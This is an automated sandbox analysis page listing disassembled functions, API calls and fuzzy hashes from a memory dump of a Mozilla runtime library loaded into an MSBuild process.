Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 48995a9fdaab40bd66d6d8cc8eb03d76b82ea320f1c841ec4846ca7aaf1a0132
Instruction ID: 6ffce777ccb0b13fc4fd9994cfd38f66b48ae240701c94fdcc391b52ab38b137
Opcode Fuzzy Hash: 48995a9fdaab40bd66d6d8cc8eb03d76b82ea320f1c841ec4846ca7aaf1a0132
Instruction Fuzzy Hash: 0A413A71918794CBD720CF29C84079AFBE5BFC9714F519A2EE8D887B50E7709844CB82

Function 6C539120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C538242,?,00000000,?,6C52B63F), ref: 6C539188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C538242,?,00000000,?,6C52B63F), ref: 6C5391BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C538242,?,00000000,?,6C52B63F), ref: 6C5391EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C538242,?,00000000,?,6C52B63F), ref: 6C539200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C538242,?,00000000,?,6C52B63F), ref: 6C539219

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: edb6a3596148dbf4f1cac38b39df1fde0e1875576e72de173f780bfe5f375750
Instruction ID: e037f77010915acae752099aee6be3c81ade0340aecbe8d37a9891b0a98bdcf5
Opcode Fuzzy Hash: edb6a3596148dbf4f1cac38b39df1fde0e1875576e72de173f780bfe5f375750
Instruction Fuzzy Hash: E43144B1A01A158FEB00DFA8DC8476E73A5EF81314F514A29E89AD7650FF31E804CBA5

Function 6C520800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C520838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C52084C
EnterCriticalSection.KERNEL32(?), ref: 6C5208AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5208BD
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C5208D5

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: b974de186694031805b0053c3663be3dca03ca2455c0188d193df5fe1e63c586
Instruction ID: 7a548347a62052d55633fc173f2a1de6eff5502d7a713cbcfdde81a3368d6b6d
Opcode Fuzzy Hash: b974de186694031805b0053c3663be3dca03ca2455c0188d193df5fe1e63c586
Instruction Fuzzy Hash: F221B031B022498BEB04DF6ADC54BBFB3B9EF85708F500529E509A7B80DB75A8058BD4

Function 6C53CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53CDA4

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

Part of subcall function 6C53D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C53CDBA,00100000,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53D158
Part of subcall function 6C53D130: InitializeConditionVariable.KERNEL32(00000098,?,6C53CDBA,00100000,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53CDC4

Part of subcall function 6C537480: ReleaseSRWLockExclusive.KERNEL32(?,6C5415FC,?,?,?,?,6C5415FC,?), ref: 6C5374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53CECC

Part of subcall function 6C4FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4FCAA2

Part of subcall function 6C52CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C53CEEA,?,?,?,?,00000000,?,6C52DA31,00100000,?,?,00000000), ref: 6C52CB57
Part of subcall function 6C52CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C52CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C53CEEA,?,?), ref: 6C52CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C52DA31,00100000,?,?,00000000,?), ref: 6C53D058

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 6af2b9089959b95da559f14d282f8f28b2a633e8409032a24ba3ea26d8edceff
Instruction ID: 12810a33ac020fc3b67ffeca73d7d7691439f1ad8465950599865bbde17fe688
Opcode Fuzzy Hash: 6af2b9089959b95da559f14d282f8f28b2a633e8409032a24ba3ea26d8edceff
Instruction Fuzzy Hash: B8D15E71A04B169FD708CF28C980B99B7F1BF89308F01976DD8598B751EB31B9A5CB81

Function 6C4F1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4F17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4F18EE
free.MOZGLUE(?), ref: 6C4F1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4F194C

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: de9286dd7a9527f03409006514bf3bbd62e825c5158c5e048f3a365ef4b428e8
Instruction ID: daa3714ece87e021c80da893a9a0b9639a79f8a1240283616ed79f4bc8ab3efd
Opcode Fuzzy Hash: de9286dd7a9527f03409006514bf3bbd62e825c5158c5e048f3a365ef4b428e8
Instruction Fuzzy Hash: 0681C4B0A112059FCB08CF68D8D4DAEBBB1FF89314F04456DE865AB754D730E856CBA2

Function 6C505C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C505D40
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67
__aulldiv.LIBCMT ref: 6C505DB4
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C505DED

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 4b1f1dce19e2727402b1bf6ccd8b0dbe8a069725ac0944c9e72bfa92484535b8
Instruction ID: 053b2694a40b6f565d11661bb22e108ae19db99be5cab6cc346eb04ef0f4ab02
Opcode Fuzzy Hash: 4b1f1dce19e2727402b1bf6ccd8b0dbe8a069725ac0944c9e72bfa92484535b8
Instruction Fuzzy Hash: 71514972E001198FCF08CE6DCC55ABEBBB2FB85304F6A862AD811A7760D7706945CB94

Function 6C547170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C547250
EnterCriticalSection.KERNEL32(6C56F688), ref: 6C547277
__aulldiv.LIBCMT ref: 6C5472C4
LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C5472F7

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: e5a53ce0ec14e7e9c716d038ca84dad0d123066ec45b5ac97f79ebf5b1b54566
Instruction ID: bb0c15cb09b3517ef26d7cfd0664bd3ee884a0678f7796d0425bfab1983c461a
Opcode Fuzzy Hash: e5a53ce0ec14e7e9c716d038ca84dad0d123066ec45b5ac97f79ebf5b1b54566
Instruction Fuzzy Hash: DE514B71E041298FCF08CFADCC50ABEBBB2BB89304F168629D815A7764DB716D45CB94

Function 6C4ECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4ECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4ECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4ECF4E

Strings

0, xrefs: 6C4ECF30

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 73591a4773bd61ca3f3c3e5ca0166278ac714bc6c005445002ce9526f4afe213
Instruction ID: b1a3ae0eb2fd0d7ef4d55b30101ef6602e07ef40cdc005d72e0627d77658c281
Opcode Fuzzy Hash: 73591a4773bd61ca3f3c3e5ca0166278ac714bc6c005445002ce9526f4afe213
Instruction Fuzzy Hash: 4D51F275A0025ACFCB04CF1CC890EAABBA5EF99300F1A859DD8595F391D731AD06CBE0

Function 6C5477D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5477FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C547829

Part of subcall function 6C51CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4E31A7), ref: 6C51CC45
Part of subcall function 6C51CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4E31A7), ref: 6C51CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C54789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5478CF

Part of subcall function 6C4E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4E4E5A
Part of subcall function 6C4E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E4E97

Part of subcall function 6C4E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C523EBD,6C523EBD,00000000), ref: 6C4E42A9

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e40cad4aa542e3c0537a0564d7bcc1c61a253e37ffcde6d76e3b0f9d0da0fd64
Instruction ID: e518a413865405f8c4d3b9e92202c82f8c6329cfae54f5712dc6c2d39776894a
Opcode Fuzzy Hash: e40cad4aa542e3c0537a0564d7bcc1c61a253e37ffcde6d76e3b0f9d0da0fd64
Instruction Fuzzy Hash: FB417E719047469BD300DF29C88096AFBB4FFCA264F604A2DE4A987650DB709959CB92

Function 6C526470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5282BC,?,?), ref: 6C52649B

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5264A9

Part of subcall function 6C51FA80: GetCurrentThreadId.KERNEL32 ref: 6C51FA8D
Part of subcall function 6C51FA80: AcquireSRWLockExclusive.KERNEL32(6C56F448), ref: 6C51FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C52653F
free.MOZGLUE(?), ref: 6C52655A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3cdc13d91bfe87aace51e64658bbd9d2065cc4733e1fdd2349a5a0b6f3ac0dbc
Instruction ID: e776ed04b7e8f6cd4bfd52135328103555e2bd535c36a8b2ee76eb3a72ce7d66
Opcode Fuzzy Hash: 3cdc13d91bfe87aace51e64658bbd9d2065cc4733e1fdd2349a5a0b6f3ac0dbc
Instruction Fuzzy Hash: BB318FB5A04315AFDB00CF14DC84A9ABBE4FFC8314F40442EE89A87741EB34E919CB92

Function 6C51FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?), ref: 6C51FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?,?), ref: 6C51FFF5
free.MOZGLUE(?,?,?,?,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?), ref: 6C52001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?,?), ref: 6C52002A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: aa202848a3919e5e333ab961f1213cb941317b60e8ea9777555db905aeca1b57
Instruction ID: dd55fd86c52aca30bf5289abd36bf2202e8cef175cf4ad7e455aed37d8430544
Opcode Fuzzy Hash: aa202848a3919e5e333ab961f1213cb941317b60e8ea9777555db905aeca1b57
Instruction Fuzzy Hash: 9621C4B2A002159BD7189E689C988AEB7BAEBC53247250739E425D7780FB70AD0187E1

Function 6C4FB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4FB4F5
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4FB502
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4FB542
free.MOZGLUE(?), ref: 6C4FB578

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: a59241559e2203d4f00f234b447c82ea26c7a16bf7b0d8b8c797e1e6384d32bc
Instruction ID: 3178925e55aa9b0e7bc518fc2f4780159107096e371c55cf205fe1fed5a0c350
Opcode Fuzzy Hash: a59241559e2203d4f00f234b447c82ea26c7a16bf7b0d8b8c797e1e6384d32bc
Instruction Fuzzy Hash: 7D11AE30A04B41C7D712CF2AC804B62B3B1FFD7329F55670AE85952E11EBB5A5C68794

Function 6C523DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4EF20E,?), ref: 6C523DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4EF20E,00000000,?), ref: 6C523DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C523E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C523E0E

Part of subcall function 6C51CC00: GetCurrentProcess.KERNEL32(?,?,6C4E31A7), ref: 6C51CC0D
Part of subcall function 6C51CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4E31A7), ref: 6C51CC16

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 26f4ecc9e9993dcdf7525ed6999a60028536c23f826b7407572f925faa633909
Instruction ID: e4978f17a357c5a5ee030d1f2ba16f80e225a7dd2c228637927653090640324a
Opcode Fuzzy Hash: 26f4ecc9e9993dcdf7525ed6999a60028536c23f826b7407572f925faa633909
Instruction Fuzzy Hash: 01F08271A00208BBDB00AB55DC41DBB376CEB86628F050020FD0817751D735BD2986FB

Function 6C532050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C53201B,?,?,?,?,?,?,?,6C531F8F,?,?), ref: 6C532064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53208E
free.MOZGLUE(?,?,?,00000000,?,6C53201B,?,?,?,?,?,?,?,6C531F8F,?,?), ref: 6C5320A3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 06ae796d7ed8f227765ddf0a69983cb1029b85b316a2e8fb219183f4a78e4f3b
Instruction ID: 99c4258fcea118530defc7d85d4a2c50fb70aedef9faa12204075da36a9efab2
Opcode Fuzzy Hash: 06ae796d7ed8f227765ddf0a69983cb1029b85b316a2e8fb219183f4a78e4f3b
Instruction Fuzzy Hash: 0FF09071200A109BC7119F1BDC8876BB7F8EF86324F11011AF54A87721DB76A80ACBDA

Function 6C5320B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5320B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C51FBD1), ref: 6C5320C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C51FBD1), ref: 6C5320DA
free.MOZGLUE(00000000,?,6C51FBD1), ref: 6C5320F1

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ed37407e93dbede40902620097b3539582d34e3d53fa95882fbc60d4d1ab6501
Instruction ID: cbc61c77064da316560840bfb68b5ce7704d96ed2fdbd9f08b64e33ef42e9189
Opcode Fuzzy Hash: ed37407e93dbede40902620097b3539582d34e3d53fa95882fbc60d4d1ab6501
Instruction Fuzzy Hash: 09E06C31600A249BC7209F2ADC0855EB7F9EF862147150616F54AC3711E775A94A86DA

Function 6C5385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5385D3

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C538725

Strings

map/set<T> too long, xrefs: 6C538720

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0af486ab9d43256d9798d50b8ac1c11774ea2b6bd4bdd903118c0223a3b215e9
Instruction ID: bfd01ed902e9904f77864d2f150e11a8802a470477459b8d449e176564c05fac
Opcode Fuzzy Hash: 0af486ab9d43256d9798d50b8ac1c11774ea2b6bd4bdd903118c0223a3b215e9
Instruction Fuzzy Hash: C1516574600661CFC705CF18C884A55BBF1BF99318F18C18AD8599BB62D375EC45CF92

Function 6C4EBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4EBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4EBE8F

Strings

0, xrefs: 6C4EBE5B

